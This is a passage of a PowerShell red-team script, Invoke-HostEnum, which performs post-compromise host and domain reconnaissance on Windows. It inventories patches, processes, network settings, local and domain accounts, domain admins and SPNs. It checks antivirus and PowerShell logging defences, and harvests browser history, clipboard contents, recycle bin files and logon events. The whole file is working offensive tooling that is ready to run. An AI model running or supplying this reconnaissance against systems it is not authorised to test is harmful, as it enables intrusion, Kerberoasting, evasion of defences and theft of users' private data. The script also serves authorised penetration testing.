HostEnum.ps1

<#
Invoke-HostEnum
@andrewchiles
https://github.com/threatexpress/red-team-scripts

Future Additions
------------------
 Re-work registry checking functions similar to Get-HostProfile
 LLMNR and NetBIOS over TCP/IP Settings
 RDP Settings HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server
 StickyNotes
 Win10 - %UserProfile%\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
 Win7 - C:\Users\Username\AppData\Roaming\Microsoft\StickyNotes\StickyNotes.snt
 Tanium https://docs.tanium.com/client/client/troubleshooting.html
 64-bit C:\Program Files (x86)\Tanium\Tanium Client\TaniumClient.exe
 32-bit C:\Program Files\Tanium\Tanium Client\TaniumClient.exe
 32-bit HKEY_LOCAL_MACHINE\Software\Tanium\Tanium Client
 64-bit  HKEY_LOCAL_MACHINE\Software\Wow6432Node\Tanium\Tanium Client
 Windows Event Forwarding registry::HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager"
  Add https://github.com/sekirkity/BrowserGather.git 
  User IdleTime https://stackoverflow.com/questions/15845508/get-idle-time-of-machine
  Get all ConsoleHost history files
#>

#requires -version 2

function Invoke-HostEnum {
    <#
    .SYNOPSIS
    
        Performs local host and/or domain enumeration for situational awareness
    
        Author: Andrew Chiles (@andrewchiles) leveraging functions by @mattifestation, @harmj0y, @tifkin_, Joe Bialek, rvrsh3ll, Beau Bullock, and Tim Medin
        License: BSD 3-Clause
        Depenencies: None
        Requirements: None
        
        https://github.com/threatexpress/red-team-scripts
    
    .DESCRIPTION
    
        A compilation of multiple system enumeration / situational awareness techniques collected over time. 
    
        If system is a member of a domain, it can perform additional enumeration. However, the included domain enumeration is limited with the intention that PowerView, BoodHound, etc will be also be used.
        
        Report HTML file is written in the format of YYYYMMDD_HHMMSS_HOSTNAME.html in the current working directory.  
    
        Invoke-HostEnum is Powershell 2.0 compatible to ensure it functions on the widest variety of Windows targets
    
        Enumerated Information:
        
        - OS Details, Hostname, Uptime, Installdate
        - Installed Applications and Patches
        - Network Adapter Configuration, Network Shares, Listening Ports, Connections, Routing Table, DNS Cache, Firewall Status
        - Running Processes and Installed Services
        - Interesting Registry Entries
        - Local Users, Groups, Administrators 
        - Personal Security Product Status, AV Processes
        - Interesting file locations and keyword searches via file indexing
        - Interesting Windows Logs (User logins)
        - Basic Domain enumeration (users, groups, trusts, domain controllers, account policy, SPNs)
    
    
    .PARAMETER All
    
        Executes Local, Domain, and Privesc functions
        
    .PARAMETER Local
    
        Executes the local enumeration functions
    
    .PARAMETER Domain
    
        Executes the domain enumeration functions
        
    .PARAMETER Privesc
    
        Executes modified version of PowerUp privilege escalation enumeration (Invoke-AllChecks)
    
    .PARAMETER Quick
    
        Executes a brief initial survey that may be useful when initially accessing a host
        Only enumerates basic system info, processes, av, network adapters, firewall state, network connections, users, and groups
        Note: Not usable with -HTMLReport
        
    .PARAMETER HTMLReport
    
        Creates an HTML Report of enumeration results
    
    .PARAMETER Verbose
    
        Enables verbosity (Leverages Write-Verbose and output may differ depending on the console/agent you're using)
    
    .EXAMPLE
    
        PS C:\> Invoke-HostEnum -Local -HTMLReport -Verbose
    
        Performs local system enumeration with verbosity and writes output to a HTML report
    
    .EXAMPLE
    
        PS C:\> Invoke-HostEnum -Domain -HTMLReport
    
        Performs domain enumeration using net commands and saves the output to the current directory
    
    .EXAMPLE
    
        PS C:\> Invoke-HostEnum -Local -Domain 
    
        Performs local and domain enumeration functions and outputs the results to the console
    
    .LINK
    
    https://github.com/threatexpress/red-team-scripts
    
    #>
        [CmdletBinding()]
        Param(
            [Switch]$All,
            [Switch]$Local,
            [Switch]$Domain,
            [Switch]$Quick,
            [Switch]$Privesc,
            [Switch]$HTMLReport
        )
        
        # Ignore Errors and don't print to screen unless specified otherwise when calling Functions
        $ErrorActionPreference = "SilentlyContinue"
    
        # $All switch runs Local, Domain, and Privesc checks
        If ($All) {$Local = $True; $Domain = $True; $Privesc = $True}
        
        ### Begin Main Execution
        
        $Time = (Get-Date).ToUniversalTime()
        [string]$StartTime = $Time|Get-Date -uformat  %Y%m%d_%H%M%S
        
        # Create filename for HTMLReport
        If ($HTMLReport) {
            [string]$Hostname = $ENV:COMPUTERNAME
            [string]$FileName = $StartTime + '_' + $Hostname + '.html'
            $HTMLReportFile = (Join-Path $PWD $FileName)
            
            # Header for HTML table formatting
            $HTMLReportHeader = @"
    <style>
    TABLE {border-width: 1px;border-style: solid;border-color: black;border-collapse: collapse;}
    TH {border-width: 1px;padding: 3px;border-style: solid;border-color: black;background-color: #6495ED;}
    TD {border-width: 1px;padding: 3px;border-style: solid;border-color: black;font-family:courier;}
    TR:Nth-Child(Even) {Background-Color: #dddddd;}
    .odd  { background-color:#ffffff; }
    .even { background-color:#dddddd; }
    </style>
    <style>
    .aLine {
        border-top:1px solid #6495ED};
        height:1px;
        margin:16px 0;
        }
    </style>
    <title>System Report</title>
"@
    
        # Attempt to write out HTML report header and exit if there isn't sufficient permission
            Try {
                ConvertTo-HTML -Title "System Report" -Head $HTMLReportHeader `
                    -Body "<H1>System Enumeration Report for $($Env:ComputerName) - $($Env:UserName)</H1>`n<div class='aLine'></div>" `
                    | Out-File $HTMLReportFile -ErrorAction Stop
                }
            Catch {
                "`n[-] Error writing enumeration output to disk! Check your permissions on $PWD.`n$($Error[0])`n"; Return
            }
        }
        
        # Print initial execution status
        "[+] Invoke-HostEnum"
        "[+] STARTTIME:`t$StartTime"
        "[+] PID:`t$PID`n"
    
        # Check user context of Powershell.exe process and alert if running as SYSTEM
        $IsSystem = [Security.Principal.WindowsIdentity]::GetCurrent().IsSystem
        
        If ($IsSystem) {
            "`n[*] Warning: Enumeration is running as SYSTEM and some enumeration techniques (Domain and User-context specific) may fail to yield desired results!`n"
            If ($HTMLReport) {
                ConvertTo-HTML -Fragment -PreContent "<H2>Note: Enumeration performed as 'SYSTEM' and report may contain incomplete results!</H2>" -as list | Out-File -Append $HTMLReportFile
            }
        }
        
        # Execute a quick system survey
        If ($Quick) {
            Write-Verbose "Performing quick enumeration..."
            "`n[+] Host Summary`n"
            $Results = Get-Sysinfo
            $Results | Format-List
            
            "`n[+] Running Processes`n"
            $Results = Get-ProcessInfo
            $Results | Format-Table ID, Name, Owner, Path -auto -wrap
            
            "`n[+] Installed AV Product`n"
            $Results = Get-AVInfo
            $Results | Format-List
    
            "`n[+] Potential AV Processes`n"
            $Results = Get-AVProcesses
            $Results | Format-Table -Auto
            
            "`n[+] Installed Software:`n"
            $Results  = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, InstallDate, DisplayVersion, Publisher, InstallLocation
            if ((Get-WmiObject Win32_OperatingSystem).OSArchitecture -eq "64-bit")
            {
                $Results += Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, InstallDate, DisplayVersion, Publisher, InstallLocation
            }
            $Results = $Results | Where-Object {$_.DisplayName} | Sort-Object DisplayName
            $Results | Format-Table -Auto -Wrap
            
            "`n[+] System Drives:`n"
            $Results = Get-PSDrive -psprovider filesystem | Select-Object Name, Root, Used, Free, Description, CurrentLocation
            $Results | Format-Table -auto
            
            "`n[+] Active TCP Connections:`n"
            $Results = Get-ActiveTCPConnections | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State, IPVersion
            $Results | Format-Table -auto
            
            "`n[+] Firewall Status:`n"
            $Results = Get-FirewallStatus
            $Results | Format-Table -auto
            
            "`n[+] Local Users:`n"
            $Results = Get-LocalUsers | Sort-Object SID -Descending | Select-Object Name, SID, AccountType, PasswordExpires, Disabled, Lockout, Status, PasswordLastSet, LastLogin, Description
            $Results | Format-Table -auto -wrap
        
            "`n[+] Local Administrators:`n"
            $Results = Get-WmiObject -Class Win32_groupuser -Filter "GroupComponent=""Win32_Group.Domain='$env:COMPUTERNAME',Name='Administrators'""" |
            % {[wmi]$_.PartComponent} | Select-Object Name, Domain, SID, AccountType, PasswordExpires, Disabled, Lockout, Status, Description
            
            "`n[+] Local Groups:`n"
            $Results = Get-WmiObject -Class Win32_Group -Filter "Domain='$($env:ComputerName)'" | Select-Object Name,SID,Description
            $Results | Format-Table -auto -wrap
    
            "`n[+] Group Membership for ($($env:username))`n"
            $Results = Get-UserGroupMembership | Sort-Object SID
            $Results | Format-Table -Auto
            
        }
        
        # Execute local system enumeration functions
        If ($Local) {
    
            # Execute local enumeration functions and format for report
            "`n[+] Host Summary`n"
            $Results = Get-Sysinfo
            $Results | Format-List
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Host Summary</H2>" -as list | Out-File -Append $HTMLReportFile
            }
            
            # Get Installed software, check for 64-bit applications
            "`n[+] Installed Software:`n"
            $Results  = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, InstallDate, DisplayVersion, Publisher, InstallLocation
            if ((Get-WmiObject Win32_OperatingSystem).OSArchitecture -eq "64-bit")
            {
                $Results += Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, InstallDate, DisplayVersion, Publisher, InstallLocation
            }
            
            $Results = $Results | Where-Object {$_.DisplayName} | Sort-Object DisplayName
            $Results | Format-Table -Auto
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Installed Software</H2>" | Out-File -Append $HTMLReportFile
            }
                
            # Get installed patches
            "`n[+] Installed Patches:`n"
            $Results = Get-WmiObject -class Win32_quickfixengineering | Select-Object HotFixID,Description,InstalledBy,InstalledOn | Sort-Object InstalledOn -Descending
            $Results | Format-Table -auto
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Installed Patches</H2>" | Out-File -Append $HTMLReportFile
            }
            
            # Process Information
            "`n[+] Running Processes`n"
            $Results = Get-ProcessInfo
            $Results | Format-Table ID, Name, Owner, Path, CommandLine -auto 
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -Property ID, Name, Owner, MainWindowTitle, Path, CommandLine -PreContent "<H2>Process Information</H2>" | Out-File -Append $HTMLReportFile
            }
            
            # Services
            "`n[+] Installed Services:`n"
            $Results = Get-WmiObject win32_service | Select-Object Name, DisplayName, State, PathName
            $Results | Format-Table  -auto
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Installed Services</H2>" | Out-File -Append $HTMLReportFile
            }
            
            # Environment variables
            "`n[+] Environment Variables:`n"
            $Results = Get-Childitem -path env:* | Select-Object Name, Value | Sort-Object name
            $Results |Format-Table -auto
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Environment Variables</H2>"| Out-File -Append $HTMLReportFile
            }   
        
            # BIOS information
            "`n[+] BIOS Information:`n"
            $Results = Get-WmiObject -Class win32_bios |Select-Object SMBIOSBIOSVersion, Manufacturer, Name, SerialNumber, Version
            $Results | Format-List
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -PreContent "<H2>BIOS Information</H2>" -as List| Out-File -Append $HTMLReportFile
            }
            
            # Physical Computer Information
            "`n[+] Computer Information:`n"
            $Results = Get-WmiObject -class Win32_ComputerSystem | Select-Object Domain, Manufacturer, Model, Name, PrimaryOwnerName, TotalPhysicalMemory, @{Label="Role";Expression={($_.Roles) -join ","}}
            $Results | Format-List
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Physical Computer Information</H2>" -as List | Out-File -Append $HTMLReportFile
            }
            
            # System Drives (Returns mapped drives too, but not their associated network path)
            "`n[+] System Drives:`n"
            $Results = Get-PSDrive -psprovider filesystem | Select-Object Name, Root, Used, Free, Description, CurrentLocation
            $Results | Format-Table -auto
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -PreContent "<H2>System Drives</H2>" | Out-File -Append $HTMLReportFile
            }
            
            # Mapped Network Drives
            "`n[+] Mapped Network Drives:`n"
            $Results = Get-WmiObject -Class Win32_MappedLogicalDisk | Select-Object Name, Caption, VolumeName, FreeSpace, ProviderName, FileSystem
            $Results | Format-Table -auto
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Mapped Network Drives</H2>" | Out-File -Append $HTMLReportFile
            }
                
            ## Local Network Configuration
            
            # Network Adapters
            "`n[+] Network Adapters:`n"
            $Results = Get-WmiObject -class Win32_NetworkAdapterConfiguration | 
                Select-Object Description,@{Label="IPAddress";Expression={($_.IPAddress) -join ", "}},@{Label="IPSubnet";Expression={($_.IPSubnet) -join ", "}},@{Label="DefaultGateway";Expression={($_.DefaultIPGateway) -join ", "}},MACaddress,DHCPServer,DNSHostname | Sort-Object IPAddress -descending
            $Results | Format-Table -auto
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Network Adapters</H2>" | Out-File -Append $HTMLReportFile
            }
    
            # DNS Cache
            "`n[+] DNS Cache:`n"
            $Results = Get-WmiObject -query "Select * from MSFT_DNSClientCache" -Namespace "root\standardcimv2" | Select-Object Entry, Name, Data
            $Results | Format-Table -auto
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -PreContent "<H2>DNS Cache</H2>" | Out-File -Append $HTMLReportFile
            }
            
            # Network Shares
            "`n[+] Network Shares:`n"
            $Results = Get-WmiObject -class Win32_Share | Select-Object  Name, Path, Description, Caption, Status
            $Results | Format-Table -auto
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Network Shares</H2>" | Out-File -Append $HTMLReportFile
            }
            
            # TCP Network Connections
            "`n[+] Active TCP Connections:`n"
            $Results = Get-ActiveTCPConnections | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State, IPVersion
            $Results | Format-Table -auto
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Active TCP Connections</H2>" | Out-File -Append $HTMLReportFile
            }
            
            # IP Listeners
            "`n[+] TCP/UDP Listeners:`n"
            $Results = Get-ActiveListeners |Where-Object {$_.ListeningPort -LT 50000}| Select-Object Protocol, LocalAddress, ListeningPort, IPVersion
            $Results | Format-Table -auto
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -PreContent "<H2>TCP/UDP Listeners</H2>" | Out-File -Append $HTMLReportFile
            }
            # Firewall Status
            "`n[+] Firewall Status:`n"
            $Results = Get-FirewallStatus
            $Results | Format-Table -auto
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Firewall Status</H2>" | Out-File -Append $HTMLReportFile
            }
            
            # WMI Routing Table
            "`n[+] Routing Table:`n"
            $Results = Get-WmiObject -class "Win32_IP4RouteTable" -namespace "root\CIMV2" |Select-Object Destination, Mask, Nexthop, InterfaceIndex, Metric1, Protocol, Type
            $Results | Format-Table -auto
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Routing Table</H2>" | Out-File -Append $HTMLReportFile
            }
            
            # WMI Net Sessions
            "`n[+] Net Sessions:`n"
            $Results = Get-WmiObject win32_networkconnection | Select-Object LocalName, RemoteName, RemotePath, Name, Status, ConnectionState, Persistent, UserName, Description
            $Results | Format-Table -auto
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Network Sessions</H2>" | Out-File -Append $HTMLReportFile
            }
            
            # Proxy Information
            "`n[+] Proxy Configuration:`n"
            $regkey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
            $Results = New-Object -TypeName PSObject -Property @{
                            Enabled = If ((Get-ItemProperty -Path $regkey).proxyEnable -eq 1) {"True"} else {"False"}
                            ProxyServer  = (Get-ItemProperty -Path $regkey).proxyServer
                            AutoConfigURL  = (Get-ItemProperty -Path $regkey).AutoConfigUrl
                            }
                            
            $Results | Format-Table -auto
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Proxy Configuration</H2>" | Out-File -Append $HTMLReportFile
            }
            
            ## Local User and Group Enumeration
            #######################
            
            # Local User Accounts
            "`n[+] Local users:`n"
            $Results = Get-LocalUsers | Sort-Object SID -Descending | Select-Object Name, SID, AccountType, PasswordExpires, Disabled, Lockout, Status, PasswordLastSet, LastLogin, Description
            $Results | Format-Table -auto
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Local Users</H2>" | Out-File -Append $HTMLReportFile
            }
            
            # Local Administrators
            "`n[+] Local Administrators:`n"
            $Results = Get-WmiObject -Class Win32_groupuser -Filter "GroupComponent=""Win32_Group.Domain='$env:COMPUTERNAME',Name='Administrators'""" |
            % {[wmi]$_.PartComponent} | Select-Object Name, Domain, SID, AccountType, PasswordExpires, Disabled, Lockout, Status, Description
            
            $Results | Format-Table -auto -wrap
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Local Administrators</H2>" | Out-File -Append $HTMLReportFile
            }
            
            # Local Groups
            "`n[+] Local Groups:`n"
            $Results = Get-WmiObject -Class Win32_Group -Filter "Domain='$($env:ComputerName)'" | Select-Object Name,SID,Description
            $Results | Format-Table -auto
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Local Groups</H2>" | Out-File -Append $HTMLReportFile
            }
            
            # Local Group Membership 
            "`n[+] Local Group Membership:`n"
            $Groups = Get-WmiObject -Class Win32_Group -Filter "Domain='$($env:ComputerName)'" | Select-Object -expand Name
            
            Foreach ($Group in $Groups) {
                $results = $Null
                $Results = Get-WmiObject -Class Win32_groupuser -Filter "GroupComponent=""Win32_Group.Domain='$env:COMPUTERNAME',Name='$Group'""" | % {[wmi]$_.PartComponent} | Select-Object Name, Domain, SID, AccountType, PasswordExpires, Disabled, Lockout, Status, Description
                "[+] $Group - Members"
                $Results | Format-Table -auto
                If ($HTMLReport) {
                    $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Local Group Membership - $Group</H2>" | Out-File -Append $HTMLReportFile
                }
            }
    
            # Explicit Logon Events (Requires admin)
            "`n[+] Explicit Logon Events (4648) - Last 10 Days:`n"
            $Results = Get-ExplicitLogonEvents -Days 10 | Select TimeCreated,TargetUserName,TargetDomainName,ProcessName,SubjectUserName,SubjectDomainName | Sort-Object TimeCreated
            $Results | Format-Table -auto -wrap
            If ($HTMLReport) {
                    $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Explicit Logon Events (4648) - Last 10 Days</H2>" | Out-File -Append $HTMLReportFile
                }
            # Logon Events (Requires admin)
            "`n[+] Logon Events (4624) - Last 200 Events:`n"
            # Filter out NT Authority and Machine logons
            $Results = Get-LogonEvents -MaxEvents 200  | Where-Object {$_.Target -NotLike "NT AUTHORITY*" -and $_.Target -NotLike "*$"} |Sort-Object TimeCreated
            $Results | Format-Table -auto -wrap
            If ($HTMLReport) {
                    $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Logon Events (4624) - Last 200 Events</H2>" | Out-File -Append $HTMLReportFile
                }
            
            ## AV Products
            #########################
            "`n[+] Installed AV Product`n"
            $Results = Get-AVInfo
            $Results | Format-List
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Installed AV Product</H2>" -as list | Out-File -Append $HTMLReportFile
            }
            
            # Potential Running AV Processes
            "`n[+] Potential AV Processes`n"
            $Results = Get-AVProcesses
            $Results | Format-Table -Auto
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Potential AV Processes</H2>" | Out-File -Append $HTMLReportFile
            }
            
            # If McAfee is installed then pull some recent logs
            If ($Results.displayName -Match "mcafee") {
                $Results = Get-McafeeLogs
                $Results |Format-List
                If ($HTMLReport) {
                    $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Recent McAfee AV Logs</H2>" -as list | Out-File -Append $HTMLReportFile
                }
            }
            ## Interesting Locations
            #############################
            "`n[+] Registry Keys`n"
            $Results = Get-InterestingRegistryKeys
            $Results
            If ($HTMLReport) {
                ConvertTo-HTML -Fragment -PreContent "<H2>Interesting Registry Keys</H2>`n<table><tr><td><PRE>$Results</PRE></td></tr></table>" -as list | Out-File -Append $HTMLReportFile
            }   
        
            # Interesting File Search (String formatted due to odd formatting issues with file listings)
            "`n[+] Interesting Files:`n"
            $Results = Get-InterestingFiles
            $Results
            If ($HTMLReport) {
                ConvertTo-HTML -Fragment -PreContent "<H2>Interesting Files</H2>`n<table><tr><td><PRE>$Results</PRE></td></tr></table>" | Out-File -Append $HTMLReportFile
            }
            
            ## Current User Enumeration
            ############################
            # Group Membership for Current User
            "`n[+] Group Membership - $($Env:UserName)`n"
            $Results = Get-UserGroupMembership | Sort-Object SID
            $Results | Format-Table -Auto
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Group Membership - $($env:username)</H2>"| Out-File -Append $HTMLReportFile
            }
            
            # Browser History (IE, Firefox, Chrome)
            "`n[+] Browser History`n"
            $Results = Get-BrowserInformation | Where-Object{$_.Data -NotMatch "google" -And $_.Data -NotMatch "microsoft" -And $_.Data -NotMatch "chrome" -And $_.Data -NotMatch "youtube" }
            $Results | Format-Table Browser, DataType, User, Data -Auto
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -Property Browser, DataType, User, Data, Name -PreContent "<H2>Browser History</H2>" | Out-File -Append $HTMLReportFile
            }
            
            # Open IE Tabs
            "`n[+] Active Internet Explorer URLs - $($Env:UserName)`n"
            $Results = Get-ActiveIEURLS
            $Results | Format-Table -auto
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Active Internet Explorer URLs - $($Env:UserName)</H2>" | Out-File -Append $HTMLReportFile
            }
            
            # Recycle Bin Files
            "`n`n[+] Recycle Bin Contents - $($Env:UserName)`n"
            $Results = Get-RecycleBin
            $Results | Format-Table -Auto
            If ($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Recycle Bin Contents - $($Env:UserName)</H2>" | Out-File -Append $HTMLReportFile
            }
            
            # Clipboard Contents
            Add-Type -Assembly PresentationCore
            "`n[+] Clipboard Contents - $($Env:UserName):`n"
            $Results = ''
            $Results = ([Windows.Clipboard]::GetText()) -join "`r`n" | Out-String
            $Results
            If ($HTMLReport) {
                ConvertTo-HTML -Fragment -PreContent "<H2>Clipboard Contents - $($Env:UserName)</H2><table><tr><td><PRE>$Results</PRE></td></tr></table>"| Out-File -Append $HTMLReportFile
            }
        
                
        }
    
        # Simple Domain Enumeration
        If ($Domain) {
            If ($HTMLReport) {
                    ConvertTo-HTML -Fragment -PreContent "<H1>Domain Report - $($env:USERDOMAIN)</H1><div class='aLine'></div>" | Out-File -Append $HTMLReportFile
                }
            # Check if host is part of a domain before executing domain enumeration functions
            If ((gwmi win32_computersystem).partofdomain){
                Write-Verbose "Enumerating Windows Domain..."
                "`n[+] Domain Mode`n"
                $Results = ([System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()).DomainMode
                $Results
                If ($HTMLReport) {
                    ConvertTo-HTML -Fragment -PreContent "<H2>Domain Mode: $Results</H2>" | Out-File -Append $HTMLReportFile
                }
                
                # DA Level Accounts
                "`n[+] Domain Administrators`n"
                $Results = Get-DomainAdmins
                $Results
                If ($HTMLReport) {
                    ConvertTo-HTML -Fragment -PreContent "<H2>Domain Administrators</H2><table><tr><td><PRE>$Results</PRE></td></tr></table>" | Out-File -Append $HTMLReportFile
                }
                
                # Domain account password policy
                "`n[+] Domain Account Policy`n"
                $Results = Get-DomainAccountPolicy
                $Results | Format-List
                If ($HTMLReport) {
                    $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Domain Account Policy</H2>" -as List | Out-File -Append $HTMLReportFile
                }
                                
                # Domain Controllers
                "`n[+] Domain Controllers:`n"
                $Results = ([System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()).DomainControllers | Select-Object  Name,OSVersion,Domain,Forest,SiteName,IpAddress
                $Results | Format-Table -Auto   
                If ($HTMLReport) {
                    $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Domain Controllers</H2>" | Out-File -Append $HTMLReportFile
                }
                
                # Domain Trusts
                "`n[+] Domain Trusts:`n"
                $Results = ([System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
                $Results | Format-List
                If ($HTMLReport) {
                    $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Domain Trusts</H2>" -as List | Out-File -Append $HTMLReportFile
                }
                
                # Domain Users
                "`n[+] Domain Users:`n"
                $Results = Get-WmiObject -Class Win32_UserAccount | Select-Object Name,Caption,SID,Fullname,Disabled,Lockout,Description |Sort-Object SID
                $Results | Format-Table -Auto
                If ($HTMLReport) {
                    $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Domain Users</H2>" | Out-File -Append $HTMLReportFile
                }
                
                # Domain Groups
                "`n[+] Domain Groups:`n"
                $Results = Get-WmiObject -Class Win32_Group | Select-Object Name,SID,Description | Sort-Object SID
                $Results | Format-Table -Auto
                If ($HTMLReport) {
                    $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Domain Groups</H2>" | Out-File -Append $HTMLReportFile
                }
                
                # Domain Admins, Enterprise Admins, Server Admins, Backup Operators
                    
                # Get User SPNS
                "`n[+] User Account SPNs`n"
                $Results = $null
                $Results = Get-UserSPNS -UniqueAccounts | Sort-Object PasswordLastSet -Unique
                $Results | Format-Table -auto
                If ($HTMLReport) {
                    $Results | ConvertTo-HTML -Fragment -PreContent "<H2>User Account SPNs</H2>" | Out-File -Append $HTMLReportFile
                }
            }
            Else {
                "`n[-] Host is not a member of a domain. Skipping domain checks...`n"
                If ($HTMLReport) {
                    ConvertTo-HTML -Fragment -PreContent "<H2>Host is not a member of a domain. Domain checks skipped.</H2>" | Out-File -Append $HTMLReportFile
                }
            }
        }
    
        # Privilege Escalation Enumeration
        If ($Privesc) {
            If ($HTMLReport) {
                Invoke-AllChecks -HTMLReport
            }
            Else {
                Invoke-AllChecks
            }
        }
        # Determine the execution duration
        $Duration = New-Timespan -start $Time -end ((Get-Date).ToUniversalTime())
        
        # Print report location and finish execution
        
        "`n"
        If ($HTMLReport) {
            "[+] FILE:`t$HTMLReportFile"
            "[+] FILESIZE:`t$((Get-Item $HTMLReportFile).length) Bytes"
        }
        "[+] DURATION:`t$Duration"
        "[+] Invoke-HostEnum complete!"
    }
    
    
    function Get-SysInfo {
    <#
    .SYNOPSIS
    
    Gets basic system information from the host
    
    #>
        $os_info = gwmi Win32_OperatingSystem
        $uptime = [datetime]::ParseExact($os_info.LastBootUpTime.SubString(0,14), "yyyyMMddHHmmss", $null)
        $uptime = (Get-Date).Subtract($uptime)
        $uptime = ("{0} Days, {1} Hours, {2} Minutes, {3} Seconds" -f ($uptime.Days, $uptime.Hours, $uptime.Minutes, $uptime.Seconds))
        $date = Get-Date
        $IsHighIntegrity = [bool]([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
        
        $SysInfoHash = @{            
            HOSTNAME                = $ENV:COMPUTERNAME                         
            IPADDRESSES             = (@([System.Net.Dns]::GetHostAddresses($ENV:HOSTNAME)) | %{$_.IPAddressToString}) -join ", "        
            OS                      = $os_info.caption + ' ' + $os_info.CSDVersion     
            ARCHITECTURE            = $os_info.OSArchitecture   
            "DATE(UTC)"             = $date.ToUniversalTime()| Get-Date -uformat  "%Y%m%d%H%M%S"
            "DATE(LOCAL)"           = $date | Get-Date -uformat  "%Y%m%d%H%M%S%Z"
            INSTALLDATE             = $os_info.InstallDate
            UPTIME                  = $uptime           
            USERNAME                = $ENV:USERNAME           
            DOMAIN                  = (GWMI Win32_ComputerSystem).domain            
            LOGONSERVER             = $ENV:LOGONSERVER          
            PSVERSION               = $PSVersionTable.PSVersion.ToString()
            PSCOMPATIBLEVERSIONS    = ($PSVersionTable.PSCompatibleVersions) -join ', '
            PSSCRIPTBLOCKLOGGING    = If((Get-ItemProperty HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -EA 0).EnableScriptBlockLogging -eq 1){"Enabled"} Else {"Disabled"}
            PSTRANSCRIPTION         = If((Get-ItemProperty HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -EA 0).EnableTranscripting -eq 1){"Enabled"} Else {"Disabled"}
            PSTRANSCRIPTIONDIR      = (Get-ItemProperty HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -EA 0).OutputDirectory
            PSMODULELOGGING         = If((Get-ItemProperty HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -EA 0).EnableModuleLogging -eq 1){"Enabled"} Else {"Disabled"}
            LSASSPROTECTION         = If((Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -EA 0).RunAsPPL -eq 1){"Enabled"} Else {"Disabled"}
            LAPS                    = If((Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft Services\AdmPwd" -EA 0).AdmPwdEnabled -eq 1){"Enabled"} Else {"Disabled"}
            UAC                     = If((Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System -EA 0).EnableLUA -eq 1){"Enabled"} Else {"Disabled (UAC is Disabled)"}
            # LocalAccountTokenFilterPolicy = 1 disables local account token filtering for all non-rid500 accounts
